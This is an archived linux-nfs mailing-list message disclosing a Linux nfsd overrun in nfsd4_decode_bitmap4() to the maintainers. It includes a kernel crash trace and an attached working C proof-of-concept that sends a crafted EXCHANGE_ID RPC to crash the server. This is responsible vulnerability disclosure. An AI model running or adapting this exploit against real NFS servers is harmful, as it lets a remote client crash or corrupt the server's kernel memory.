From: rtm@csail.mit.edu
To: "J. Bruce Fields" <bfields@fieldses.org>,
Chuck Lever <chuck.lever@oracle.com>
Cc: linux-nfs@vger.kernel.org
Subject: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
Date: Sat, 13 Nov 2021 15:58:42 -0500 [thread overview]
Message-ID: <97860.1636837122@crash.local> (raw)
[-- Attachment #1: Type: text/plain, Size: 1644 bytes --]
nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
write client-supplied data beyond the end of
nfsd4_exchange_id.spo_must_allow[] when called by
nfsd4_decode_exchange_id().
I've attached a demo in which the client's EXCHANGE_ID RPC supplies an
address (0x400) that nfsd4_decode_bitmap4() writes into
nii_domain.data due to overflowing bmval[]. The EXCHANGE_ID RPC also
supplies a zero-length eia_client_impl_id<>. The result is that
copy_impl_id() (called by nfsd4_exchange_id()) tries to read from
address 0x400.
# cc nfsd_1.c
# uname -a
Linux (none) 5.15.0-rc7-dirty #64 SMP Sat Nov 13 20:10:21 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# ./nfsd_1
...
[ 16.600786] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000400
[ 16.643621] epc : __memcpy+0x3c/0xf8
[ 16.650154] ra : kmemdup+0x2c/0x3c
[ 16.657733] epc : ffffffff803667bc ra : ffffffff800e80fe sp : ffffffd000553c20
[ 16.777502] status: 0000000200000121 badaddr: 0000000000000400 cause: 000000000000000d
[ 16.788193] [<ffffffff803667bc>] __memcpy+0x3c/0xf8
[ 16.796504] [<ffffffff8028cf0e>] nfsd4_exchange_id+0xe6/0x406
[ 16.806159] [<ffffffff8027c352>] nfsd4_proc_compound+0x2b4/0x4e8
[ 16.815721] [<ffffffff80266782>] nfsd_dispatch+0x118/0x172
[ 16.823405] [<ffffffff807633fa>] svc_process_common+0x2de/0x62c
[ 16.832935] [<ffffffff8076380c>] svc_process+0xc4/0x102
[ 16.840421] [<ffffffff802661de>] nfsd+0x102/0x16a
[ 16.848520] [<ffffffff80025b60>] kthread+0xfe/0x110
[ 16.856648] [<ffffffff80003054>] ret_from_exception+0x0/0xc
[-- Attachment #2: nfsd_1.c --]
[-- Type: application/octet-stream, Size: 4507 bytes --]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#define NAA 128
unsigned long long aa[NAA] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x100000000000000ull,
0xd00000001000000ull,
0x0ull,
0x0ull,
0xf2616e62ull,
0x40000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;
char obuf[4096];
int oi = 0;
int s; // socket fd
int xid = 1;
void
put32(unsigned int x)
{
assert((oi % 4) == 0);
*(int*)(obuf+oi) = htonl(x);
oi += 4;
}
void
put64(unsigned long long x)
{
put32(x >> 32);
put32(x);
}
void
put_opaque(int n, char *buf)
{
put32(n);
for(int i = 0; i < n; i++)
obuf[oi++] = (buf ? buf[i] : 0);
while((n%4)!=0){
obuf[oi++] = 0;
n++;
}
}
void
put_sid(char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
void
put_reset()
{
oi = 4; // leave room for packet length
}
void
send_send()
{
assert(oi >= 4);
assert((oi % 4) == 0);
assert(oi <= sizeof(obuf));
assert(aai <= NAA);
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
printf("writing %d\n", oi);
if(write(s, obuf, oi) <= 0) perror("write");
oi = 0;
}
void
put_rpc_header(int proc)
{
put_reset();
put32(xid++);
put32(0); // mtype=CALL
put32(2); // rpc version
put32(100003); // prog #
put32(4); // prog vers
put32(proc); // proc
if(proc == 0){
put32(0); // cred type
put32(0); // cred len
} else {
put32(1); // cred type AUTH_SYS / AUTH_UNIX
put32(28); // cred length
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
}
put32(0); // verf type
put32(0); // verf len
}
void
send_nop()
{
put_rpc_header(0);
send_send();
}
void
send_exchange_id()
{
put_rpc_header(1);
// compound header
put_opaque(0, ""); // tag
put32(2); // minor version
put32(1); // 1 operation in the compound
int xoi = oi;
put32(42); // operation 42: EXCHANGE_ID
put64(1); // verifier4
put_opaque(22, "Linux NFSv4.2 poobuntu"); // co_ownerid
put32(0x103); // flags
put32(0); // SP4_NONE
put32(1); // length of client_impl_id
put_opaque(10, "kernel.org"); // nii_domain
put_opaque(4, "blah"); // nii_name
put64(0); // nfstime4
put32(0); // nfstime4
for(int i = xoi; i < oi; i += 8)
*(long long *)(obuf+i) ^= aa[aai++];
send_send();
}
int
main(){
setlinebuf(stdout);
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
system("exportfs -a");
system("/etc/init.d/rpcbind start");
system("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
sleep(1);
system("/usr/sbin/rpc.mountd --manage-gids");
sleep(1);
system("exportfs -a");
//system("exportfs -v");
//system("rpcdebug -m nfsd -s all");
//system("rpcdebug -m rpc -s all");
s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(801);
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("bind");
exit(1);
}
sin.sin_port = htons(2049);
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
send_nop();
{
printf("waiting for nop reply\n");
char ibuf[2048];
int cc = read(s, ibuf, sizeof(ibuf));
printf("read %d\n", cc);
}
send_exchange_id();
sleep(2);
close(s);
sleep(1);
}
next reply other threads:[~2021-11-13 20:58 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2021-11-13 20:58 rtm [this message]
2021-11-13 21:06 ` NFS client can crash server due to overrun in nfsd4_decode_bitmap4() Chuck Lever III
2021-11-13 21:25 ` Bruce Fields
2021-11-13 21:31 ` Chuck Lever III
2021-11-13 21:57 ` Bruce Fields
2021-11-14 2:44 ` Chuck Lever III
2021-12-13 2:10 ` Bruce Fields
2021-12-13 4:21 ` Chuck Lever III
2021-12-13 4:52 ` Trond Myklebust
2021-11-13 21:33 ` J. Bruce Fields
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=97860.1636837122@crash.local \
--to=rtm@csail.mit.edu \
--cc=bfields@fieldses.org \
--cc=chuck.lever@oracle.com \
--cc=linux-nfs@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox